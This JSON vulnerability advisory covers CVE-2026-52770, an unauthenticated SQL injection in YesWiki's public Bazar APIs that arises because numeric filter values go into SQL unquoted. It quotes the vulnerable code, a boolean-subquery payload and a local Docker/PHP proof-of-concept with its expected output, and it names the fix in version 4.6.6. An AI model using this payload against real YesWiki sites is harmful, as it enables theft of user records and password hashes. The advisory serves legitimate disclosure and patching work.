{"id":"CVE-2026-52770","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-52770","summary":"YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters","details":"### Summary\nYesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric `query` / `queries` filters.\n\nFor Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.\n\n### Details\nThe public Bazar API reads attacker-controlled query filters from GET parameters:\n\n```php\n// tools/bazar/controllers/ApiController.php\n$vQuery = $_GET['query'] ?? $_GET['queries'] ?? null;\n$vQuery = $vSearchManager->aggregateQueries(\n    !empty($selectedEntries) ? ['queries' => ['id_fiche' => $selectedEntries]] : [],\n    isset($vQuery) ? urldecode($vQuery) : ''\n);\n```\n\nRelevant public routes include:\n\n```php\n@Route(\"/api/forms/{formId}/entries/{output}/{selectedEntries}\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n@Route(\"/api/entries/{output}/{selectedEntries}\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n@Route(\"/api/entries/bazarlist\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n```\n\nThe query is passed into `BazarListService::getEntries()` and then into `SearchManager::search()`:\n\n```php\n// tools/bazar/services/BazarListService.php\n$vLocalEntries = $vSearchManager->search(\n    array_merge(\n        $pOptions,\n        [\n            'formsIds' => $vLocalIDs,\n        ]\n    ),\n    true,\n    true\n);\n```\n\nThe vulnerable sink is in `SearchManager::buildQueriesConditions()`:\n\n```php\n// tools/bazar/services/SearchManager.php\nif ($vDescriptor['_type_'] == 'number') {\n    if (isset($vValue) && trim($vValue) !== '') {\n        $vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this->wiki->dblink, $vValue);\n    }\n}\n```\n\nBecause numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:\n\n```text\n100 OR (SELECT COUNT(*) FROM yeswiki_users)>0\n```\n\nThis produces a predicate equivalent to:\n\n```sql\nCAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0\n```\n\nRead ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.\n\nNumeric Bazar filters are a documented/common feature. The documentation includes examples such as:\n\n```text\nquery=\"bf_age>18\"\nquery=\"bf_age >= 20 | bf_age < 40\"\n```\n\nBazar numeric fields are also common through field types such as `number`, `range`, and map latitude/longitude fields.\n\n### PoC\nThe following local-only PoC uses the shipped `SearchManager` code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.\n\nRun from the repository root:\n\n```bash\nset -euo pipefail; name=\"yeswiki-audit-db-$$\"; docker run -d --rm --name \"$name\" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f \"$name\" >/dev/null 2>&1 || true' EXIT; until docker exec \"$name\" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network \"container:$name\" -v \"$PWD:/repo:ro\" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP'\n<?php\nnamespace YesWiki\\Bazar\\Service {\n    class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }\n    class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \\DummyNumberField()]]]; } }\n}\nnamespace {\n    class DummyNumberField {\n        public function getPropertyName() { return 'bf_age'; }\n        public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; }\n    }\n    class DummyServices {\n        public function get($class) {\n            if ($class === 'YesWiki\\\\Bazar\\\\Service\\\\FormManager') { return new \\YesWiki\\Bazar\\Service\\FormManager(); }\n            if ($class === 'YesWiki\\\\Bazar\\\\Service\\\\EntryManager') { return new \\YesWiki\\Bazar\\Service\\EntryManager(); }\n            throw new \\RuntimeException('Unexpected service: ' . $class);\n        }\n    }\n    class DummyWiki {\n        public $dblink;\n        public $services;\n        public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }\n        public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }\n        public function UserIsAdmin() { return false; }\n        public function getUserName() { return 'Anonymous'; }\n    }\n    class DummyDbService {\n        public function getCollation(): string { return 'utf8mb4_unicode_ci'; }\n        public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }\n    }\n    class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }\n\n    require '/repo/tools/bazar/services/SearchManager.php';\n\n    $db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');\n    if (!$db) { throw new \\RuntimeException(mysqli_connect_error()); }\n    mysqli_set_charset($db, 'utf8mb4');\n\n    foreach ([\n        \"CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)\",\n        \"CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))\",\n        \"CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))\",\n        \"INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')\",\n        \"INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))\",\n        \"INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')\",\n    ] as $sql) {\n        if (!mysqli_query($db, $sql)) { throw new \\RuntimeException(mysqli_error($db) . \" in \" . $sql); }\n    }\n\n    $ref = new \\ReflectionClass(\\YesWiki\\Bazar\\Service\\SearchManager::class);\n    $sm = $ref->newInstanceWithoutConstructor();\n    foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {\n        $rp = $ref->getProperty($prop);\n        $rp->setAccessible(true);\n        $rp->setValue($sm, $value);\n    }\n\n    $cases = [\n        'control_no_match' => 'bf_age>100',\n        'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0',\n        'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0',\n    ];\n\n    foreach ($cases as $label => $query) {\n        $params = ['queries' => $query, 'formsIds' => [1]];\n        $sql = $sm->prepareSearchRequest($params, true, false);\n        $result = mysqli_query($db, $sql);\n        if (!$result) { throw new \\RuntimeException(mysqli_error($db) . \" in \" . $sql); }\n        $tags = [];\n        while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }\n        sort($tags);\n        printf(\"%s: %d rows [%s]\\n\", $label, count($tags), implode(',', $tags));\n        if ($label === 'boolean_true_subquery') {\n            echo \"where_fragment=\" . preg_replace('/^.* WHERE /s', '', $sql) . \"\\n\";\n        }\n    }\n}\nPHP\n```\n\nExpected vulnerable output:\n\n```text\ncontrol_no_match: 0 rows []\nboolean_true_subquery: 2 rows [EntryA,EntryB]\nwhere_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1\nboolean_false_subquery: 0 rows []\n```\n\nThe no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.\n\n### Impact\nThis is an unauthenticated SQL injection vulnerability.\n\nAn attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.","published":"2026-07-09T21:00:05Z","modified":"2026-07-09T21:15:28.046251906Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.6"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2","label":"YesWiki/yeswiki@f3b0dd0"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-qg78-vmvc-fhjw"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T21:15:28.046251906Z"}}